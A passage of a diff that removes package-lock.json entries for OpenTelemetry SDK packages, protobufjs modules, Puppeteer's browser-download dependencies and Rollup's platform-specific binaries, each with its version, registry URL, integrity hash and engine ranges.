"sha512-F8W52ApePshpoSrfsSk1H2yJn9aKjCrbpQF1M9Qii0GHzbfVeFUB+rc3X4aggyZD8x9Gu3Slua+s6krmq6Dt8g==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.5.0", - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.3.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/sdk-metrics": { - "version": "2.7.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-metrics/-/sdk-metrics-2.7.0.tgz", - "integrity": "sha512-Vd7h95av/LYRsAVN7wbprvvJnHkq7swMXAo7Uad0Uxf9jl6NSReLa0JNivrcc5BVIx/vl2t+cgdVQQbnVhsR9w==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.7.0", - "@opentelemetry/resources": "2.7.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.9.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/sdk-node": { - "version": "0.211.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-node/-/sdk-node-0.211.0.tgz", - "integrity": "sha512-+s1eGjoqmPCMptNxcJJD4IxbWJKNLOQFNKhpwkzi2gLkEbCj6LzSHJNhPcLeBrBlBLtlSpibM+FuS7fjZ8SSFQ==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/api-logs": "0.211.0", - "@opentelemetry/configuration": "0.211.0", - "@opentelemetry/context-async-hooks": "2.5.0", - "@opentelemetry/core": "2.5.0", - "@opentelemetry/exporter-logs-otlp-grpc": "0.211.0", - "@opentelemetry/exporter-logs-otlp-http": "0.211.0", - "@opentelemetry/exporter-logs-otlp-proto": "0.211.0", - "@opentelemetry/exporter-metrics-otlp-grpc": "0.211.0", - "@opentelemetry/exporter-metrics-otlp-http": "0.211.0", - "@opentelemetry/exporter-metrics-otlp-proto": "0.211.0", - "@opentelemetry/exporter-prometheus": "0.211.0", - "@opentelemetry/exporter-trace-otlp-grpc": "0.211.0", - "@opentelemetry/exporter-trace-otlp-http": "0.211.0", - "@opentelemetry/exporter-trace-otlp-proto": "0.211.0", - "@opentelemetry/exporter-zipkin": "2.5.0", - "@opentelemetry/instrumentation": "0.211.0", - "@opentelemetry/propagator-b3": "2.5.0", - "@opentelemetry/propagator-jaeger": "2.5.0", - "@opentelemetry/resources": "2.5.0", - "@opentelemetry/sdk-logs": "0.211.0", - "@opentelemetry/sdk-metrics": "2.5.0", - "@opentelemetry/sdk-trace-base": "2.5.0", - "@opentelemetry/sdk-trace-node": "2.5.0", - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.3.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/sdk-node/node_modules/@opentelemetry/core": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.5.0.tgz", - "integrity": "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/sdk-node/node_modules/@opentelemetry/resources": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.5.0.tgz", - "integrity": "sha512-F8W52ApePshpoSrfsSk1H2yJn9aKjCrbpQF1M9Qii0GHzbfVeFUB+rc3X4aggyZD8x9Gu3Slua+s6krmq6Dt8g==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.5.0", - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.3.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/sdk-node/node_modules/@opentelemetry/sdk-metrics": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-metrics/-/sdk-metrics-2.5.0.tgz", - "integrity": "sha512-BeJLtU+f5Gf905cJX9vXFQorAr6TAfK3SPvTFqP+scfIpDQEJfRaGJWta7sJgP+m4dNtBf9y3yvBKVAZZtJQVA==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.5.0", - "@opentelemetry/resources": "2.5.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.9.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/sdk-node/node_modules/@opentelemetry/sdk-trace-base": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.5.0.tgz", - "integrity": "sha512-VzRf8LzotASEyNDUxTdaJ9IRJ1/h692WyArDBInf5puLCjxbICD6XkHgpuudis56EndyS7LYFmtTMny6UABNdQ==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.5.0", - "@opentelemetry/resources": "2.5.0", - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.3.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/sdk-node/node_modules/@opentelemetry/sdk-trace-node": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-node/-/sdk-trace-node-2.5.0.tgz", - "integrity": "sha512-O6N/ejzburFm2C84aKNrwJVPpt6HSTSq8T0ZUMq3xT2XmqT4cwxUItcL5UWGThYuq8RTcbH8u1sfj6dmRci0Ow==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/context-async-hooks": "2.5.0", - "@opentelemetry/core": "2.5.0", - "@opentelemetry/sdk-trace-base": "2.5.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/sdk-trace-base": { - "version": "2.7.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.7.0.tgz", - "integrity": "sha512-Yg9zEXJB50DLVLpsKPk7NmNqlPlS+OvqhJGh0A8oawIOTPOwlm4eXs9BMJV7L79lvEwI+dWtAj+YjTyddV336A==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.7.0", - "@opentelemetry/resources": "2.7.0", - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.3.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/sdk-trace-node": { - "version": "2.7.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-node/-/sdk-trace-node-2.7.0.tgz", - "integrity": "sha512-RrFHOXw0IYp/OThew6QORdybnnLitUAUMCJKcQNBYS0hDkCYarO2vTkVxfrGxCIqd5XHSMvbCpBd/T8ZMw8oSg==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/context-async-hooks": "2.7.0", - "@opentelemetry/core": "2.7.0", - "@opentelemetry/sdk-trace-base": "2.7.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/sdk-trace-node/node_modules/@opentelemetry/context-async-hooks": { - "version": "2.7.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/context-async-hooks/-/context-async-hooks-2.7.0.tgz", - "integrity": "sha512-MWXggArM+Y11mPS8VOrqxOj+YMGQSRuvhM91eSBX4xFpJa05mpkeVvM8pPux5ElkEjV5RMgrkisrlP/R83SpBQ==", - "license": "Apache-2.0", - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/semantic-conventions": { - "version": "1.40.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.40.0.tgz", - "integrity": "sha512-cifvXDhcqMwwTlTK04GBNeIe7yyo28Mfby85QXFe1Yk8nmi36Ab/5UQwptOx84SsoGNRg+EVSjwzfSZMy6pmlw==", - "license": "Apache-2.0", - "engines": { - "node": ">=14" - } - }, - "node_modules/@pkgjs/parseargs": { - "version": "0.11.0", - "resolved": "https://registry.npmjs.org/@pkgjs/parseargs/-/parseargs-0.11.0.tgz", - "integrity": "sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==", - "license": "MIT", - "optional": true, - "engines": { - "node": ">=14" - } - }, - "node_modules/@protobufjs/aspromise": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@protobufjs/aspromise/-/aspromise-1.1.2.tgz", - "integrity": "sha512-j+gKExEuLmKwvz3OgROXtrJ2UG2x8Ch2YZUxahh+s1F2HZ+wAceUNLkvy6zKCPVRkU++ZWQrdxsUeQXmcg4uoQ==", - "license": "BSD-3-Clause" - }, - "node_modules/@protobufjs/base64": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@protobufjs/base64/-/base64-1.1.2.tgz", - "integrity": "sha512-AZkcAA5vnN/v4PDqKyMR5lx7hZttPDgClv83E//FMNhR2TMcLUhfRUBHCmSl0oi9zMgDDqRUJkSxO3wm85+XLg==", - "license": "BSD-3-Clause" - }, - "node_modules/@protobufjs/codegen": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/@protobufjs/codegen/-/codegen-2.0.4.tgz", - "integrity": "sha512-YyFaikqM5sH0ziFZCN3xDC7zeGaB/d0IUb9CATugHWbd1FRFwWwt4ld4OYMPWu5a3Xe01mGAULCdqhMlPl29Jg==", - "license": "BSD-3-Clause" - }, - "node_modules/@protobufjs/eventemitter": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/@protobufjs/eventemitter/-/eventemitter-1.1.0.tgz", - "integrity": "sha512-j9ednRT81vYJ9OfVuXG6ERSTdEL1xVsNgqpkxMsbIabzSo3goCjDIveeGv5d03om39ML71RdmrGNjG5SReBP/Q==", - "license": "BSD-3-Clause" - }, - "node_modules/@protobufjs/fetch": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/@protobufjs/fetch/-/fetch-1.1.0.tgz", - "integrity": "sha512-lljVXpqXebpsijW71PZaCYeIcE5on1w5DlQy5WH6GLbFryLUrBD4932W/E2BSpfRJWseIL4v/KPgBFxDOIdKpQ==", - "license": "BSD-3-Clause", - "dependencies": { - "@protobufjs/aspromise": "^1.1.1", - "@protobufjs/inquire": "^1.1.0" - } - }, - "node_modules/@protobufjs/float": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/@protobufjs/float/-/float-1.0.2.tgz", - "integrity": "sha512-Ddb+kVXlXst9d+R9PfTIxh1EdNkgoRe5tOX6t01f1lYWOvJnSPDBlG241QLzcyPdoNTsblLUdujGSE4RzrTZGQ==", - "license": "BSD-3-Clause" - }, - "node_modules/@protobufjs/inquire": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/@protobufjs/inquire/-/inquire-1.1.0.tgz", - "integrity": "sha512-kdSefcPdruJiFMVSbn801t4vFK7KB/5gd2fYvrxhuJYg8ILrmn9SKSX2tZdV6V+ksulWqS7aXjBcRXl3wHoD9Q==", - "license": "BSD-3-Clause" - }, - "node_modules/@protobufjs/path": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@protobufjs/path/-/path-1.1.2.tgz", - "integrity": "sha512-6JOcJ5Tm08dOHAbdR3GrvP+yUUfkjG5ePsHYczMFLq3ZmMkAD98cDgcT2iA1lJ9NVwFd4tH/iSSoe44YWkltEA==", - "license": "BSD-3-Clause" - }, - "node_modules/@protobufjs/pool": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/@protobufjs/pool/-/pool-1.1.0.tgz", - "integrity": "sha512-0kELaGSIDBKvcgS4zkjz1PeddatrjYcmMWOlAuAPwAeccUrPHdUqo/J6LiymHHEiJT5NrF1UVwxY14f+fy4WQw==", - "license": "BSD-3-Clause" - }, - "node_modules/@protobufjs/utf8": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/@protobufjs/utf8/-/utf8-1.1.0.tgz", - "integrity": "sha512-Vvn3zZrhQZkkBE8LSuW3em98c0FwgO4nxzv6OdSxPKJIEKY2bGbHn+mhGIPerzI4twdxaP8/0+06HBpwf345Lw==", - "license": "BSD-3-Clause" - }, - "node_modules/@puppeteer/browsers": { - "version": "2.13.0", - "resolved": "https://registry.npmjs.org/@puppeteer/browsers/-/browsers-2.13.0.tgz", - "integrity": "sha512-46BZJYJjc/WwmKjsvDFykHtXrtomsCIrwYQPOP7VfMJoZY2bsDF9oROBABR3paDjDcmkUye1Pb1BqdcdiipaWA==", - "license": "Apache-2.0", - "dependencies": { - "debug": "^4.4.3", - "extract-zip": "^2.0.1", - "progress": "^2.0.3", - "proxy-agent": "^6.5.0", - "semver": "^7.7.4", - "tar-fs": "^3.1.1", - "yargs": "^17.7.2" - }, - "bin": { - "browsers": "lib/cjs/main-cli.js" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/@puppeteer/browsers/node_modules/data-uri-to-buffer": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/data-uri-to-buffer/-/data-uri-to-buffer-6.0.2.tgz", - "integrity": "sha512-7hvf7/GW8e86rW0ptuwS3OcBGDjIi6SZva7hCyWC0yYry2cOPmLIjXAUHI6DK2HsnwJd9ifmt57i8eV2n4YNpw==", - "license": "MIT", - "engines": { - "node": ">= 14" - } - }, - "node_modules/@puppeteer/browsers/node_modules/degenerator": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/degenerator/-/degenerator-5.0.1.tgz", - "integrity": "sha512-TllpMR/t0M5sqCXfj85i4XaAzxmS5tVA16dqvdkMwGmzI+dXLXnw3J+3Vdv7VKw+ThlTMboK6i9rnZ6Nntj5CQ==", - "license": "MIT", - "dependencies": { - "ast-types": "^0.13.4", - "escodegen": "^2.1.0", - "esprima": "^4.0.1" - }, - "engines": { - "node": ">= 14" - } - }, - "node_modules/@puppeteer/browsers/node_modules/get-uri": { - "version": "6.0.5", - "resolved": "https://registry.npmjs.org/get-uri/-/get-uri-6.0.5.tgz", - "integrity": "sha512-b1O07XYq8eRuVzBNgJLstU6FYc1tS6wnMtF1I1D9lE8LxZSOGZ7LhxN54yPP6mGw5f2CkXY2BQUL9Fx41qvcIg==", - "license": "MIT", - "dependencies": { - "basic-ftp": "^5.0.2", - "data-uri-to-buffer": "^6.0.2", - "debug": "^4.3.4" - }, - "engines": { - "node": ">= 14" - } - }, - "node_modules/@puppeteer/browsers/node_modules/http-proxy-agent": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-7.0.2.tgz", - "integrity": "sha512-T1gkAiYYDWYx3V5Bmyu7HcfcvL7mUrTWiM6yOfa3PIphViJ/gFPbvidQ+veqSOHci/PxBcDabeUNCzpOODJZig==", - "license": "MIT", - "dependencies": { - "agent-base": "^7.1.0", - "debug": "^4.3.4" - }, - "engines": { - "node": ">= 14" - } - }, - "node_modules/@puppeteer/browsers/node_modules/lru-cache": { - "version": "7.18.3", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-7.18.3.tgz", - "integrity": "sha512-jumlc0BIUrS3qJGgIkWZsyfAM7NCWiBcCDhnd+3NNM5KbBmLTgHVfWBcg6W+rLUsIpzpERPsvwUP7CckAQSOoA==", - "license": "ISC", - "engines": { - "node": ">=12" - } - }, - "node_modules/@puppeteer/browsers/node_modules/pac-proxy-agent": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/pac-proxy-agent/-/pac-proxy-agent-7.2.0.tgz", - "integrity": "sha512-TEB8ESquiLMc0lV8vcd5Ql/JAKAoyzHFXaStwjkzpOpC5Yv+pIzLfHvjTSdf3vpa2bMiUQrg9i6276yn8666aA==", - "license": "MIT", - "dependencies": { - "@tootallnate/quickjs-emscripten": "^0.23.0", - "agent-base": "^7.1.2", - "debug": "^4.3.4", - "get-uri": "^6.0.1", - "http-proxy-agent": "^7.0.0", - "https-proxy-agent": "^7.0.6", - "pac-resolver": "^7.0.1", - "socks-proxy-agent": "^8.0.5" - }, - "engines": { - "node": ">= 14" - } - }, - "node_modules/@puppeteer/browsers/node_modules/pac-resolver": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/pac-resolver/-/pac-resolver-7.0.1.tgz", - "integrity": "sha512-5NPgf87AT2STgwa2ntRMr45jTKrYBGkVU36yT0ig/n/GMAa3oPqhZfIQ2kMEimReg0+t9kZViDVZ83qfVUlckg==", - "license": "MIT", - "dependencies": { - "degenerator": "^5.0.0", - "netmask": "^2.0.2" - }, - "engines": { - "node": ">= 14" - } - }, - "node_modules/@puppeteer/browsers/node_modules/proxy-agent": { - "version": "6.5.0", - "resolved": "https://registry.npmjs.org/proxy-agent/-/proxy-agent-6.5.0.tgz", - "integrity": "sha512-TmatMXdr2KlRiA2CyDu8GqR8EjahTG3aY3nXjdzFyoZbmB8hrBsTyMezhULIXKnC0jpfjlmiZ3+EaCzoInSu/A==", - "license": "MIT", - "dependencies": { - "agent-base": "^7.1.2", - "debug": "^4.3.4", - "http-proxy-agent": "^7.0.1", - "https-proxy-agent": "^7.0.6", - "lru-cache": "^7.14.1", - "pac-proxy-agent": "^7.1.0", - "proxy-from-env": "^1.1.0", - "socks-proxy-agent": "^8.0.5" - }, - "engines": { - "node": ">= 14" - } - }, - "node_modules/@puppeteer/browsers/node_modules/proxy-from-env": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz", - "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==", - "license": "MIT" - }, - "node_modules/@puppeteer/browsers/node_modules/socks-proxy-agent": { - "version": "8.0.5", - "resolved": "https://registry.npmjs.org/socks-proxy-agent/-/socks-proxy-agent-8.0.5.tgz", - "integrity": "sha512-HehCEsotFqbPW9sJ8WVYB6UbmIMv7kUUORIF2Nncq4VQvBfNBLibW9YZR5dlYCSUhwcD628pRllm7n+E+YTzJw==", - "license": "MIT", - "dependencies": { - "agent-base": "^7.1.2", - "debug": "^4.3.4", - "socks": "^2.8.3" - }, - "engines": { - "node": ">= 14" - } - }, - "node_modules/@puppeteer/browsers/node_modules/tar-fs": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-3.1.2.tgz", - "integrity": "sha512-QGxxTxxyleAdyM3kpFs14ymbYmNFrfY+pHj7Z8FgtbZ7w2//VAgLMac7sT6nRpIHjppXO2AwwEOg0bPFVRcmXw==", - "license": "MIT", - "dependencies": { - "pump": "^3.0.0", - "tar-stream": "^3.1.5" - }, - "optionalDependencies": { - "bare-fs": "^4.0.1", - "bare-path": "^3.0.0" - } - }, - "node_modules/@puppeteer/browsers/node_modules/tar-stream": { - "version": "3.1.8", - "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-3.1.8.tgz", - "integrity": "sha512-U6QpVRyCGHva435KoNWy9PRoi2IFYCgtEhq9nmrPPpbRacPs9IH4aJ3gbrFC8dPcXvdSZ4XXfXT5Fshbp2MtlQ==", - "license": "MIT", - "dependencies": { - "b4a": "^1.6.4", - "bare-fs": "^4.5.5", - "fast-fifo": "^1.2.0", - "streamx": "^2.15.0" - } - }, - "node_modules/@rollup/rollup-android-arm-eabi": { - "version": "4.59.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.59.0.tgz", - "integrity": "sha512-upnNBkA6ZH2VKGcBj9Fyl9IGNPULcjXRlg0LLeaioQWueH30p6IXtJEbKAgvyv+mJaMxSm1l6xwDXYjpEMiLMg==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ] - }, - "node_modules/@rollup/rollup-android-arm64": { - "version": "4.59.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.59.0.tgz", - "integrity": "sha512-hZ+Zxj3SySm4A/DylsDKZAeVg0mvi++0PYVceVyX7hemkw7OreKdCvW2oQ3T1FMZvCaQXqOTHb8qmBShoqk69Q==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ] - }, - "node_modules/@rollup/rollup-darwin-arm64": { - "version": "4.59.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.59.0.tgz", - "integrity": "sha512-W2Psnbh1J8ZJw0xKAd8zdNgF9HRLkdWwwdWqubSVk0pUuQkoHnv7rx4GiF9rT4t5DIZGAsConRE3AxCdJ4m8rg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ] - }, - "node_modules/@rollup/rollup-darwin-x64": { - "version": "4.59.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.59.0.tgz", - "integrity": "sha512-ZW2KkwlS4lwTv7ZVsYDiARfFCnSGhzYPdiOU4IM2fDbL+QGlyAbjgSFuqNRbSthybLbIJ915UtZBtmuLrQAT/w==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ] - }, - "node_modules/@rollup/rollup-freebsd-arm64": { - "version": "4.59.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.59.0.tgz", - "integrity": "sha512-EsKaJ5ytAu9jI3lonzn3BgG8iRBjV4LxZexygcQbpiU0wU0ATxhNVEpXKfUa0pS05gTcSDMKpn3Sx+QB9RlTTA==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ] - }, - "node_modules/@rollup/rollup-freebsd-x64": { - "version": "4.59.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.59.0.tgz", - "integrity": "sha512-d3DuZi2KzTMjImrxoHIAODUZYoUUMsuUiY4SRRcJy6NJoZ6iIqWnJu9IScV9jXysyGMVuW+KNzZvBLOcpdl3Vg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ] - }, - "node_modules/@rollup/rollup-linux-arm-gnueabihf": { - "version": "4.59.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.59.0.tgz", - "integrity": "sha512-t4ONHboXi/3E0rT6OZl1pKbl2Vgxf9vJfWgmUoCEVQVxhW6Cw/c8I6hbbu7DAvgp82RKiH7TpLwxnJeKv2pbsw==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-arm-musleabihf": { - "version": "4.59.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.59.0.tgz", - "integrity": "sha512-CikFT7aYPA2ufMD086cVORBYGHffBo4K8MQ4uPS/ZnY54GKj36i196u8U+aDVT2LX4eSMbyHtyOh7D7Zvk2VvA==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-arm64-gnu": { - "version": "4.59.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.59.0.tgz", - "integrity": "sha512-jYgUGk5aLd1nUb1CtQ8E+t5JhLc9x5WdBKew9ZgAXg7DBk0ZHErLHdXM24rfX+bKrFe+Xp5YuJo54I5HFjGDAA==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-arm64-musl": { - "version": "4.59.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.59.0.tgz", - "integrity": "sha512-peZRVEdnFWZ5Bh2KeumKG9ty7aCXzzEsHShOZEFiCQlDEepP1dpUl/SrUNXNg13UmZl+gzVDPsiCwnV1uI0RUA==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-loong64-gnu": { - "version": "4.59.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.59.0.tgz", - "integrity": "sha512-gbUSW/97f7+r4gHy3Jlup8zDG190AuodsWnNiXErp9mT90iCy9NKKU0Xwx5k8VlRAIV2uU9CsMnEFg/xXaOfXg==", - "cpu": [ - "loong64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-loong64-musl": { - "version": "4.59.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.59.0.tgz", - "integrity": "sha512-yTRONe79E+o0FWFijasoTjtzG9EBedFXJMl888NBEDCDV9I2wGbFFfJQQe63OijbFCUZqxpHz1GzpbtSFikJ4Q==", - "cpu": [ - "loong64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-ppc64-gnu": { - "version": "4.59.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.59.0.tgz", - "integrity": "sha512-sw1o3tfyk12k3OEpRddF68a1unZ5VCN7zoTNtSn2KndUE+ea3m3ROOKRCZxEpmT9nsGnogpFP9x6mnLTCaoLkA==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-ppc64-musl": { - "version": "4.59.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.59.0.tgz", - "integrity": "sha512-+2kLtQ4xT3AiIxkzFVFXfsmlZiG5FXYW7ZyIIvGA7Bdeuh9Z0aN4hVyXS/G1E9bTP/vqszNIN/pUKCk/BTHsKA==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-riscv64-gnu": { - "version": "4.59.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.59.0.tgz", - "integrity": "sha512-NDYMpsXYJJaj+I7UdwIuHHNxXZ/b/N2hR15NyH3m2qAtb/hHPA4g4SuuvrdxetTdndfj9b1WOmy73kcPRoERUg==", - "cpu": [ - "riscv64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-riscv64-musl": { - "version": "4.59.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.59.0.tgz", - "integrity": "sha512-nLckB8WOqHIf1bhymk+oHxvM9D3tyPndZH8i8+35p/1YiVoVswPid2yLzgX7ZJP0KQvnkhM4H6QZ5m0LzbyIAg==", - "cpu": [ - "riscv64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-s390x-gnu": { - "version": "4.59.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.59.0.tgz", - "integrity": "sha512-oF87Ie3uAIvORFBpwnCvUzdeYUqi2wY6jRFWJAy1qus/udHFYIkplYRW+wo+GRUP4sKzYdmE1Y3+rY5Gc4ZO+w==", - "cpu": [ - "s390x" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-x64-gnu": { - "version": "4.59.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.59.0.tgz", - "integrity": "sha512-3AHmtQq/ppNuUspKAlvA8HtLybkDflkMuLK4DPo77DfthRb71V84/c4MlWJXixZz4uruIH4uaa07IqoAkG64fg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-x64-musl": { - "version": "4.59.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.59.0.tgz", - "integrity": "sha512-2UdiwS/9cTAx7qIUZB/fWtToJwvt0Vbo0zmnYt7ED35KPg13Q0ym1g442THLC7VyI6JfYTP4PiSOWyoMdV2/xg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-openbsd-x64": { - "version": "4.59.0", - "resolved": 